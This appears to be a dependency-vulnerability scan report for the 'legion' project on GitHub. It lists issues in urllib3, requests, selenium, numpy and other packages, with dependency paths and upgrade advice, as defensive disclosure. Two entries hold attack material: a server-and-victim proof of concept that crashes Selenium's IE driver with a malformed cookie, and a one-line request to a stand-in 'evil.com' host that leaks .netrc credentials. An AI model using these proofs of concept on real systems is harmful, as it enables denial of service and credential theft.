Vulnerabilities

14 via 61 paths

Dependencies

55

Source

GitHub

Commit

1e79b6fa

Find, fix and prevent vulnerabilities in your code.

Issue type
  • 14
  • 3
Severity
  • 1
  • 6
  • 7
  • 3
Status
  • 17
  • 0
  • 0

critical severity

HTTP Request Smuggling

  • Vulnerable module: h11
  • Introduced through: selenium@4.9.1

Detailed paths

  • Introduced through: Hackman238/legion@Hackman238/legion#1e79b6fa3b8b8075cb2e33768f173c5e5fe4553e selenium@4.9.1 trio-websocket@0.11.1 wsproto@1.2.0 h11@0.14.0
    Remediation: Upgrade to selenium@4.9.1.

Overview

h11 is an A pure-Python, bring-your-own-I/O implementation of HTTP/1.1

Affected versions of this package are vulnerable to HTTP Request Smuggling via the class ChunkedReader in _readers.py file, which performs the parsing of line terminators in chunked-coding message bodies. An attacker can exploit this to bypass security controls and smuggle HTTP requests by crafting malformed chunked-encoding bodies.

Remediation

Upgrade h11 to version 0.16.0 or higher.

References

high severity

Allocation of Resources Without Limits or Throttling

  • Vulnerable module: urllib3
  • Introduced through: requests@2.31.0, selenium@4.9.1 and others

Detailed paths

  • Introduced through: Hackman238/legion@Hackman238/legion#1e79b6fa3b8b8075cb2e33768f173c5e5fe4553e requests@2.31.0 urllib3@2.0.7
    Remediation: Upgrade to requests@2.32.0.
  • Introduced through: Hackman238/legion@Hackman238/legion#1e79b6fa3b8b8075cb2e33768f173c5e5fe4553e selenium@4.9.1 urllib3@2.0.7
    Remediation: Upgrade to selenium@4.9.1.
  • Introduced through: Hackman238/legion@Hackman238/legion#1e79b6fa3b8b8075cb2e33768f173c5e5fe4553e pyexploitdb@0.2.103 requests@2.31.0 urllib3@2.0.7
    Remediation: Upgrade to pyexploitdb@0.3.1.
  • Introduced through: Hackman238/legion@Hackman238/legion#1e79b6fa3b8b8075cb2e33768f173c5e5fe4553e webdriver-manager@4.0.2 requests@2.31.0 urllib3@2.0.7
  • Introduced through: Hackman238/legion@Hackman238/legion#1e79b6fa3b8b8075cb2e33768f173c5e5fe4553e pyshodan@0.2.16 shodan@1.31.0 requests@2.31.0 urllib3@2.0.7
  • Introduced through: Hackman238/legion@Hackman238/legion#1e79b6fa3b8b8075cb2e33768f173c5e5fe4553e pyshodan@0.2.16 shodan@1.31.0 tldextract@4.0.0 requests@2.31.0 urllib3@2.0.7
  • Introduced through: Hackman238/legion@Hackman238/legion#1e79b6fa3b8b8075cb2e33768f173c5e5fe4553e pyshodan@0.2.16 shodan@1.31.0 tldextract@4.0.0 requests-file@3.0.1 requests@2.31.0 urllib3@2.0.7

Overview

urllib3 is a HTTP library with thread-safe connection pooling, file post, and more.

Affected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling during the decompression of compressed response data. An attacker can cause excessive CPU and memory consumption by sending responses with a large number of chained compression steps.

Workaround

This vulnerability can be avoided by setting preload_content=False and ensuring that resp.headers["content-encoding"] are limited to a safe quantity before reading.

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.

Unlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.

One popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.

When it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.

Two common types of DoS vulnerabilities:

  • High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, commons-fileupload:commons-fileupload.

  • Crash - An attacker sending crafted requests that could cause the system to crash. For Example, npm ws package

Remediation

Upgrade urllib3 to version 2.6.0 or higher.

References

high severity

Improper Handling of Highly Compressed Data (Data Amplification)

  • Vulnerable module: urllib3
  • Introduced through: requests@2.31.0, selenium@4.9.1 and others

Detailed paths

  • Introduced through: Hackman238/legion@Hackman238/legion#1e79b6fa3b8b8075cb2e33768f173c5e5fe4553e requests@2.31.0 urllib3@2.0.7
    Remediation: Upgrade to requests@2.32.0.
  • Introduced through: Hackman238/legion@Hackman238/legion#1e79b6fa3b8b8075cb2e33768f173c5e5fe4553e selenium@4.9.1 urllib3@2.0.7
    Remediation: Upgrade to selenium@4.9.1.
  • Introduced through: Hackman238/legion@Hackman238/legion#1e79b6fa3b8b8075cb2e33768f173c5e5fe4553e pyexploitdb@0.2.103 requests@2.31.0 urllib3@2.0.7
    Remediation: Upgrade to pyexploitdb@0.3.1.
  • Introduced through: Hackman238/legion@Hackman238/legion#1e79b6fa3b8b8075cb2e33768f173c5e5fe4553e webdriver-manager@4.0.2 requests@2.31.0 urllib3@2.0.7
  • Introduced through: Hackman238/legion@Hackman238/legion#1e79b6fa3b8b8075cb2e33768f173c5e5fe4553e pyshodan@0.2.16 shodan@1.31.0 requests@2.31.0 urllib3@2.0.7
  • Introduced through: Hackman238/legion@Hackman238/legion#1e79b6fa3b8b8075cb2e33768f173c5e5fe4553e pyshodan@0.2.16 shodan@1.31.0 tldextract@4.0.0 requests@2.31.0 urllib3@2.0.7
  • Introduced through: Hackman238/legion@Hackman238/legion#1e79b6fa3b8b8075cb2e33768f173c5e5fe4553e pyshodan@0.2.16 shodan@1.31.0 tldextract@4.0.0 requests-file@3.0.1 requests@2.31.0 urllib3@2.0.7

Overview

urllib3 is a HTTP library with thread-safe connection pooling, file post, and more.

Affected versions of this package are vulnerable to Improper Handling of Highly Compressed Data (Data Amplification) in the Streaming API. The ContentDecoder class can be forced to allocate disproportionate resources when processing a single chunk with very high compression, such as via the stream(), read(amt=256), read1(amt=256), read_chunked(amt=256), and readinto(b) functions.

Note: It is recommended to patch Brotli dependencies (upgrade to at least 1.2.0) if they are installed outside of urllib3 as well, to avoid other instances of the same vulnerability.

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.

Unlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.

One popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.

When it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.

Two common types of DoS vulnerabilities:

  • High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, commons-fileupload:commons-fileupload.

  • Crash - An attacker sending crafted requests that could cause the system to crash. For Example, npm ws package

Remediation

Upgrade urllib3 to version 2.6.0 or higher.

References

high severity
new

Improper Handling of Highly Compressed Data (Data Amplification)

  • Vulnerable module: urllib3
  • Introduced through: requests@2.31.0, selenium@4.9.1 and others

Detailed paths

  • Introduced through: Hackman238/legion@Hackman238/legion#1e79b6fa3b8b8075cb2e33768f173c5e5fe4553e requests@2.31.0 urllib3@2.0.7
    Remediation: Upgrade to requests@2.32.0.
  • Introduced through: Hackman238/legion@Hackman238/legion#1e79b6fa3b8b8075cb2e33768f173c5e5fe4553e selenium@4.9.1 urllib3@2.0.7
    Remediation: Upgrade to selenium@4.9.1.
  • Introduced through: Hackman238/legion@Hackman238/legion#1e79b6fa3b8b8075cb2e33768f173c5e5fe4553e pyexploitdb@0.2.103 requests@2.31.0 urllib3@2.0.7
    Remediation: Upgrade to pyexploitdb@0.3.1.
  • Introduced through: Hackman238/legion@Hackman238/legion#1e79b6fa3b8b8075cb2e33768f173c5e5fe4553e webdriver-manager@4.0.2 requests@2.31.0 urllib3@2.0.7
  • Introduced through: Hackman238/legion@Hackman238/legion#1e79b6fa3b8b8075cb2e33768f173c5e5fe4553e pyshodan@0.2.16 shodan@1.31.0 requests@2.31.0 urllib3@2.0.7
  • Introduced through: Hackman238/legion@Hackman238/legion#1e79b6fa3b8b8075cb2e33768f173c5e5fe4553e pyshodan@0.2.16 shodan@1.31.0 tldextract@4.0.0 requests@2.31.0 urllib3@2.0.7
  • Introduced through: Hackman238/legion@Hackman238/legion#1e79b6fa3b8b8075cb2e33768f173c5e5fe4553e pyshodan@0.2.16 shodan@1.31.0 tldextract@4.0.0 requests-file@3.0.1 requests@2.31.0 urllib3@2.0.7

Overview

urllib3 is a HTTP library with thread-safe connection pooling, file post, and more.

Affected versions of this package are vulnerable to Improper Handling of Highly Compressed Data (Data Amplification) via the streaming API when handling HTTP redirects. An attacker can cause excessive resource consumption by serving a specially crafted compressed response that triggers decompression of large amounts of data before any read limits are enforced.

Note: This is only exploitable if content is streamed from untrusted sources with redirects enabled.

Workaround

This vulnerability can be mitigated by disabling redirects by setting redirect=False for requests to untrusted sources.

Remediation

Upgrade urllib3 to version 2.6.3 or higher.

References

high severity

NULL Pointer Dereference

  • Vulnerable module: selenium
  • Introduced through: selenium@4.9.1

Detailed paths

  • Introduced through: Hackman238/legion@Hackman238/legion#1e79b6fa3b8b8075cb2e33768f173c5e5fe4553e selenium@4.9.1
    Remediation: Upgrade to selenium@4.15.1.

Overview

selenium is a Python language bindings for Selenium WebDriver

Affected versions of this package are vulnerable to NULL Pointer Dereference due to an insufficient check on CookieWndProc function. An attacker can cause the application to crash by sending specially crafted data that triggers this condition.

PoC

Attacker Server Code

from http.server import BaseHTTPRequestHandler, HTTPServer
from datetime import datetime, timedelta

class CustomHTTPRequestHandler(BaseHTTPRequestHandler):

    def do_GET(self):
        # Send response status code
        self.send_response(200)

        # Send headers
        self.send_header('Content-type', 'text/html')
        # Set the cookie expiration to one day in the future
        expiration_date = (datetime.utcnow() + timedelta(days=1)).strftime('%a, %d %b %Y %H:%M:%S GMT')
        
        well_formed_cookie = f"cookie_name=cookie_value; Domain=127.0.0.1; Path=/; HttpOnly; Expires={expiration_date};"
        self.send_header('Set-Cookie', well_formed_cookie)

        malicious_cookie = f"cookie_name2" #crash
        self.send_header('Set-Cookie', malicious_cookie)

        self.end_headers()

        # Send message back to client
        message = "Hello world!"
        self.wfile.write(bytes(message, "utf8"))
        return

def run():
    print('Starting server...')
    server_address = ('127.0.0.1', 8090)
    httpd = HTTPServer(server_address, CustomHTTPRequestHandler)
    print('Server is running...')
    httpd.serve_forever()

run()

Example Victim Code

from selenium import webdriver
import logging
import time

handler = logging.FileHandler("sel.log")
logger = logging.getLogger('selenium')
logging.basicConfig(level=logging.DEBUG)
logger.setLevel(logging.DEBUG)
logger.addHandler(handler)

options = webdriver.IeOptions()
options.ignore_zoom_level = True
options.ignore_protected_mode_settings = True
options.attach_to_edge_chrome = True
options.initial_browser_url = 'https://selenium.dev'
service = webdriver.IeService(log_file="ie.log", log_level='DEBUG')
driver = webdriver.Ie(options=options,service=service)

driver.set_page_load_timeout(20)
print("Getting the page: ")

try:
    driver.get("http://127.0.0.1:8090/")
except Exception as e:
    print(e)

print("Got the page!")
print("Get Cookies: ")
cookies = driver.get_cookies()
print(cookies)
time.sleep(3)
driver.quit()

Remediation

Upgrade selenium to version 4.15.1 or higher.

References

high severity

GPL-3.0 license

  • Module: pyexploitdb
  • Introduced through: pyexploitdb@0.2.103

Detailed paths

  • Introduced through: Hackman238/legion@Hackman238/legion#1e79b6fa3b8b8075cb2e33768f173c5e5fe4553e pyexploitdb@0.2.103

GPL-3.0 license

high severity

GPL-3.0 license

  • Module: pyshodan
  • Introduced through: pyshodan@0.2.16

Detailed paths

  • Introduced through: Hackman238/legion@Hackman238/legion#1e79b6fa3b8b8075cb2e33768f173c5e5fe4553e pyshodan@0.2.16

GPL-3.0 license

medium severity

Infinite loop

  • Vulnerable module: zipp
  • Introduced through: flake8@5.0.4, sqlalchemy@1.4.51 and others

Detailed paths

  • Introduced through: Hackman238/legion@Hackman238/legion#1e79b6fa3b8b8075cb2e33768f173c5e5fe4553e flake8@5.0.4 importlib-metadata@6.7.0 zipp@3.15.0
    Remediation: Upgrade to flake8@6.0.0.
  • Introduced through: Hackman238/legion@Hackman238/legion#1e79b6fa3b8b8075cb2e33768f173c5e5fe4553e sqlalchemy@1.4.51 importlib-metadata@6.7.0 zipp@3.15.0
    Remediation: Upgrade to sqlalchemy@2.0.0.
  • Introduced through: Hackman238/legion@Hackman238/legion#1e79b6fa3b8b8075cb2e33768f173c5e5fe4553e pyshodan@0.2.16 shodan@1.31.0 click@8.1.8 importlib-metadata@6.7.0 zipp@3.15.0
  • Introduced through: Hackman238/legion@Hackman238/legion#1e79b6fa3b8b8075cb2e33768f173c5e5fe4553e selenium@4.9.1 trio@0.22.2 attrs@24.2.0 importlib-metadata@6.7.0 zipp@3.15.0
    Remediation: Upgrade to selenium@4.9.1.
  • Introduced through: Hackman238/legion@Hackman238/legion#1e79b6fa3b8b8075cb2e33768f173c5e5fe4553e pyshodan@0.2.16 shodan@1.31.0 click-plugins@1.1.1.2 click@8.1.8 importlib-metadata@6.7.0 zipp@3.15.0
  • Introduced through: Hackman238/legion@Hackman238/legion#1e79b6fa3b8b8075cb2e33768f173c5e5fe4553e selenium@4.9.1 trio@0.22.2 outcome@1.3.0.post0 attrs@24.2.0 importlib-metadata@6.7.0 zipp@3.15.0
  • Introduced through: Hackman238/legion@Hackman238/legion#1e79b6fa3b8b8075cb2e33768f173c5e5fe4553e selenium@4.9.1 trio-websocket@0.11.1 trio@0.22.2 attrs@24.2.0 importlib-metadata@6.7.0 zipp@3.15.0
    Remediation: Upgrade to selenium@4.9.1.
  • Introduced through: Hackman238/legion@Hackman238/legion#1e79b6fa3b8b8075cb2e33768f173c5e5fe4553e selenium@4.9.1 trio-websocket@0.11.1 trio@0.22.2 outcome@1.3.0.post0 attrs@24.2.0 importlib-metadata@6.7.0 zipp@3.15.0

Overview

Affected versions of this package are vulnerable to Infinite loop where an attacker can cause the application to stop responding by initiating a loop through functions affecting the Path module, such as joinpath, the overloaded division operator, and iterdir.

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.

Unlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.

One popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.

When it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.

Two common types of DoS vulnerabilities:

  • High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, commons-fileupload:commons-fileupload.

  • Crash - An attacker sending crafted requests that could cause the system to crash. For Example, npm ws package

Remediation

Upgrade zipp to version 3.19.1 or higher.

References

medium severity

Improper Removal of Sensitive Information Before Storage or Transfer

  • Vulnerable module: urllib3
  • Introduced through: requests@2.31.0, selenium@4.9.1 and others

Detailed paths

  • Introduced through: Hackman238/legion@Hackman238/legion#1e79b6fa3b8b8075cb2e33768f173c5e5fe4553e requests@2.31.0 urllib3@2.0.7
    Remediation: Upgrade to requests@2.32.0.
  • Introduced through: Hackman238/legion@Hackman238/legion#1e79b6fa3b8b8075cb2e33768f173c5e5fe4553e selenium@4.9.1 urllib3@2.0.7
    Remediation: Upgrade to selenium@4.9.1.
  • Introduced through: Hackman238/legion@Hackman238/legion#1e79b6fa3b8b8075cb2e33768f173c5e5fe4553e pyexploitdb@0.2.103 requests@2.31.0 urllib3@2.0.7
    Remediation: Upgrade to pyexploitdb@0.3.1.
  • Introduced through: Hackman238/legion@Hackman238/legion#1e79b6fa3b8b8075cb2e33768f173c5e5fe4553e webdriver-manager@4.0.2 requests@2.31.0 urllib3@2.0.7
  • Introduced through: Hackman238/legion@Hackman238/legion#1e79b6fa3b8b8075cb2e33768f173c5e5fe4553e pyshodan@0.2.16 shodan@1.31.0 requests@2.31.0 urllib3@2.0.7
  • Introduced through: Hackman238/legion@Hackman238/legion#1e79b6fa3b8b8075cb2e33768f173c5e5fe4553e pyshodan@0.2.16 shodan@1.31.0 tldextract@4.0.0 requests@2.31.0 urllib3@2.0.7
  • Introduced through: Hackman238/legion@Hackman238/legion#1e79b6fa3b8b8075cb2e33768f173c5e5fe4553e pyshodan@0.2.16 shodan@1.31.0 tldextract@4.0.0 requests-file@3.0.1 requests@2.31.0 urllib3@2.0.7

Overview

urllib3 is a HTTP library with thread-safe connection pooling, file post, and more.

Affected versions of this package are vulnerable to Improper Removal of Sensitive Information Before Storage or Transfer due to the improper handling of the Proxy-Authorization header during cross-origin redirects when ProxyManager is not in use. When the conditions below are met, including non-recommended configurations, the contents of this header can be sent in an automatic HTTP redirect.

Notes:

To be vulnerable, the application must be doing all of the following:

  1. Setting the Proxy-Authorization header without using urllib3's built-in proxy support.

  2. Not disabling HTTP redirects (e.g. with redirects=False)

  3. Either not using an HTTPS origin server, or having a proxy or target origin that redirects to a malicious origin.

Workarounds

  1. Using the Proxy-Authorization header with urllib3's ProxyManager.

  2. Disabling HTTP redirects using redirects=False when sending requests.

  3. Not using the Proxy-Authorization header.

Remediation

Upgrade urllib3 to version 1.26.19, 2.2.2 or higher.

References

medium severity

Open Redirect

  • Vulnerable module: urllib3
  • Introduced through: requests@2.31.0, selenium@4.9.1 and others

Detailed paths

  • Introduced through: Hackman238/legion@Hackman238/legion#1e79b6fa3b8b8075cb2e33768f173c5e5fe4553e requests@2.31.0 urllib3@2.0.7
    Remediation: Upgrade to requests@2.32.0.
  • Introduced through: Hackman238/legion@Hackman238/legion#1e79b6fa3b8b8075cb2e33768f173c5e5fe4553e selenium@4.9.1 urllib3@2.0.7
    Remediation: Upgrade to selenium@4.9.1.
  • Introduced through: Hackman238/legion@Hackman238/legion#1e79b6fa3b8b8075cb2e33768f173c5e5fe4553e pyexploitdb@0.2.103 requests@2.31.0 urllib3@2.0.7
    Remediation: Upgrade to pyexploitdb@0.3.1.
  • Introduced through: Hackman238/legion@Hackman238/legion#1e79b6fa3b8b8075cb2e33768f173c5e5fe4553e webdriver-manager@4.0.2 requests@2.31.0 urllib3@2.0.7
  • Introduced through: Hackman238/legion@Hackman238/legion#1e79b6fa3b8b8075cb2e33768f173c5e5fe4553e pyshodan@0.2.16 shodan@1.31.0 requests@2.31.0 urllib3@2.0.7
  • Introduced through: Hackman238/legion@Hackman238/legion#1e79b6fa3b8b8075cb2e33768f173c5e5fe4553e pyshodan@0.2.16 shodan@1.31.0 tldextract@4.0.0 requests@2.31.0 urllib3@2.0.7
  • Introduced through: Hackman238/legion@Hackman238/legion#1e79b6fa3b8b8075cb2e33768f173c5e5fe4553e pyshodan@0.2.16 shodan@1.31.0 tldextract@4.0.0 requests-file@3.0.1 requests@2.31.0 urllib3@2.0.7

Overview

urllib3 is a HTTP library with thread-safe connection pooling, file post, and more.

Affected versions of this package are vulnerable to Open Redirect due to the retries parameter being ignored during PoolManager instantiation. An attacker can access unintended resources or endpoints by leveraging automatic redirects when the application expects redirects to be disabled at the connection pool level.

Note:

requests and botocore users are not affected.

Workaround

This can be mitigated by disabling redirects at the request() level instead of the PoolManager() level.

Remediation

Upgrade urllib3 to version 2.5.0 or higher.

References

medium severity
new

Time-of-check Time-of-use (TOCTOU) Race Condition

  • Vulnerable module: filelock
  • Introduced through: pyshodan@0.2.16

Detailed paths

  • Introduced through: Hackman238/legion@Hackman238/legion#1e79b6fa3b8b8075cb2e33768f173c5e5fe4553e pyshodan@0.2.16 shodan@1.31.0 tldextract@4.0.0 filelock@3.12.2

Overview

Affected versions of this package are vulnerable to Time-of-check Time-of-use (TOCTOU) Race Condition during lock file creation. An attacker can corrupt or truncate arbitrary files by exploiting a race condition between the existence check and file opening with O_TRUNC, allowing the creation of a symlink that is followed and results in the target file being truncated.

Note:

This is only exploitable if the attacker has local filesystem access and the ability to create symlinks in the lock file directory.

Workaround

This vulnerability can be mitigated by using SoftFileLock instead of UnixFileLock/WindowsFileLock, ensuring lock file directories have restrictive permissions (chmod 0700), and monitoring lock file directories for suspicious symlinks before running trusted applications.

Remediation

Upgrade filelock to version 3.20.1 or higher.

References

medium severity

Insertion of Sensitive Information Into Sent Data

  • Vulnerable module: requests
  • Introduced through: requests@2.31.0, pyexploitdb@0.2.103 and others

Detailed paths

  • Introduced through: Hackman238/legion@Hackman238/legion#1e79b6fa3b8b8075cb2e33768f173c5e5fe4553e requests@2.31.0
    Remediation: Upgrade to requests@2.32.4.
  • Introduced through: Hackman238/legion@Hackman238/legion#1e79b6fa3b8b8075cb2e33768f173c5e5fe4553e pyexploitdb@0.2.103 requests@2.31.0
    Remediation: Upgrade to pyexploitdb@0.3.1.
  • Introduced through: Hackman238/legion@Hackman238/legion#1e79b6fa3b8b8075cb2e33768f173c5e5fe4553e webdriver-manager@4.0.2 requests@2.31.0
  • Introduced through: Hackman238/legion@Hackman238/legion#1e79b6fa3b8b8075cb2e33768f173c5e5fe4553e pyshodan@0.2.16 shodan@1.31.0 requests@2.31.0
  • Introduced through: Hackman238/legion@Hackman238/legion#1e79b6fa3b8b8075cb2e33768f173c5e5fe4553e pyshodan@0.2.16 shodan@1.31.0 tldextract@4.0.0 requests@2.31.0
  • Introduced through: Hackman238/legion@Hackman238/legion#1e79b6fa3b8b8075cb2e33768f173c5e5fe4553e pyshodan@0.2.16 shodan@1.31.0 tldextract@4.0.0 requests-file@3.0.1 requests@2.31.0

Overview

Affected versions of this package are vulnerable to Insertion of Sensitive Information Into Sent Data due to incorrect URL processing. An attacker could craft a malicious URL that, when processed by the library, tricks it into sending the victim's .netrc credentials to a server controlled by the attacker.

Note:

This is only exploitable if the .netrc file contains an entry for the hostname that the attacker includes in the crafted URL's "intended" part (e.g., example.com in http://example.com:@evil.com/).

PoC

requests.get('http://example.com:@evil.com/')

Remediation

Upgrade requests to version 2.32.4 or higher.

References

medium severity

Always-Incorrect Control Flow Implementation

  • Vulnerable module: requests
  • Introduced through: requests@2.31.0, pyexploitdb@0.2.103 and others

Detailed paths

  • Introduced through: Hackman238/legion@Hackman238/legion#1e79b6fa3b8b8075cb2e33768f173c5e5fe4553e requests@2.31.0
    Remediation: Upgrade to requests@2.32.2.
  • Introduced through: Hackman238/legion@Hackman238/legion#1e79b6fa3b8b8075cb2e33768f173c5e5fe4553e pyexploitdb@0.2.103 requests@2.31.0
    Remediation: Upgrade to pyexploitdb@0.3.1.
  • Introduced through: Hackman238/legion@Hackman238/legion#1e79b6fa3b8b8075cb2e33768f173c5e5fe4553e webdriver-manager@4.0.2 requests@2.31.0
  • Introduced through: Hackman238/legion@Hackman238/legion#1e79b6fa3b8b8075cb2e33768f173c5e5fe4553e pyshodan@0.2.16 shodan@1.31.0 requests@2.31.0
  • Introduced through: Hackman238/legion@Hackman238/legion#1e79b6fa3b8b8075cb2e33768f173c5e5fe4553e pyshodan@0.2.16 shodan@1.31.0 tldextract@4.0.0 requests@2.31.0
  • Introduced through: Hackman238/legion@Hackman238/legion#1e79b6fa3b8b8075cb2e33768f173c5e5fe4553e pyshodan@0.2.16 shodan@1.31.0 tldextract@4.0.0 requests-file@3.0.1 requests@2.31.0

Overview

Affected versions of this package are vulnerable to Always-Incorrect Control Flow Implementation when making requests through a Requests Session. An attacker can bypass certificate verification by making the first request with verify=False, causing all subsequent requests to ignore certificate verification regardless of changes to the verify value.

Notes:

  1. For requests <2.32.0, avoid setting verify=False for the first request to a host while using a Requests Session.

  2. For requests <2.32.0, call close() on Session objects to clear existing connections if verify=False is used.

  3. This vulnerability was initially fixed in version 2.32.0, which was yanked. Therefore, the next available fixed version is 2.32.2.

Remediation

Upgrade requests to version 2.32.2 or higher.

References

medium severity

MPL-2.0 license

  • Module: certifi
  • Introduced through: requests@2.31.0, selenium@4.9.1 and others

Detailed paths

  • Introduced through: Hackman238/legion@Hackman238/legion#1e79b6fa3b8b8075cb2e33768f173c5e5fe4553e requests@2.31.0 certifi@2026.1.4
  • Introduced through: Hackman238/legion@Hackman238/legion#1e79b6fa3b8b8075cb2e33768f173c5e5fe4553e selenium@4.9.1 certifi@2026.1.4
  • Introduced through: Hackman238/legion@Hackman238/legion#1e79b6fa3b8b8075cb2e33768f173c5e5fe4553e pyexploitdb@0.2.103 requests@2.31.0 certifi@2026.1.4
  • Introduced through: Hackman238/legion@Hackman238/legion#1e79b6fa3b8b8075cb2e33768f173c5e5fe4553e webdriver-manager@4.0.2 requests@2.31.0 certifi@2026.1.4
  • Introduced through: Hackman238/legion@Hackman238/legion#1e79b6fa3b8b8075cb2e33768f173c5e5fe4553e pyshodan@0.2.16 shodan@1.31.0 requests@2.31.0 certifi@2026.1.4
  • Introduced through: Hackman238/legion@Hackman238/legion#1e79b6fa3b8b8075cb2e33768f173c5e5fe4553e pyshodan@0.2.16 shodan@1.31.0 tldextract@4.0.0 requests@2.31.0 certifi@2026.1.4
  • Introduced through: Hackman238/legion@Hackman238/legion#1e79b6fa3b8b8075cb2e33768f173c5e5fe4553e pyshodan@0.2.16 shodan@1.31.0 tldextract@4.0.0 requests-file@3.0.1 requests@2.31.0 certifi@2026.1.4

MPL-2.0 license

low severity

Buffer Overflow

  • Vulnerable module: numpy
  • Introduced through: pandas@1.3.5

Detailed paths

  • Introduced through: Hackman238/legion@Hackman238/legion#1e79b6fa3b8b8075cb2e33768f173c5e5fe4553e pandas@1.3.5 numpy@1.21.3
    Remediation: Upgrade to pandas@2.1.0.

Overview

numpy is a fundamental package needed for scientific computing with Python.

Affected versions of this package are vulnerable to Buffer Overflow due to missing boundary checks in the array_from_pyobj function of fortranobject.c. This may allow an attacker to conduct Denial of Service by carefully constructing an array with negative values.

Remediation

Upgrade numpy to version 1.22.0 or higher.

References

low severity

Denial of Service (DoS)

  • Vulnerable module: numpy
  • Introduced through: pandas@1.3.5

Detailed paths

  • Introduced through: Hackman238/legion@Hackman238/legion#1e79b6fa3b8b8075cb2e33768f173c5e5fe4553e pandas@1.3.5 numpy@1.21.3
    Remediation: Upgrade to pandas@2.1.0.

Overview

numpy is a fundamental package needed for scientific computing with Python.

Affected versions of this package are vulnerable to Denial of Service (DoS) due to an incomplete string comparison in the numpy.core component, which may allow attackers to fail the APIs via constructing specific string objects.

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.

Unlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.

One popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.

When it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.

Two common types of DoS vulnerabilities:

  • High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, commons-fileupload:commons-fileupload.

  • Crash - An attacker sending crafted requests that could cause the system to crash. For Example, npm ws package

Remediation

Upgrade numpy to version 1.22.0rc1 or higher.

References

low severity

NULL Pointer Dereference

  • Vulnerable module: numpy
  • Introduced through: pandas@1.3.5

Detailed paths

  • Introduced through: Hackman238/legion@Hackman238/legion#1e79b6fa3b8b8075cb2e33768f173c5e5fe4553e pandas@1.3.5 numpy@1.21.3
    Remediation: Upgrade to pandas@2.1.0.

Overview

numpy is a fundamental package needed for scientific computing with Python.

Affected versions of this package are vulnerable to NULL Pointer Dereference due to missing return-value validation in the PyArray_DescrNew function, which may allow attackers to conduct Denial of Service attacks by repetitively creating and sort arrays.

Note: This may likely only happen if application memory is already exhausted, as it requires the newdescr object of the PyArray_DescrNew to evaluate to NULL.

Remediation

Upgrade numpy to version 1.22.2 or higher.

References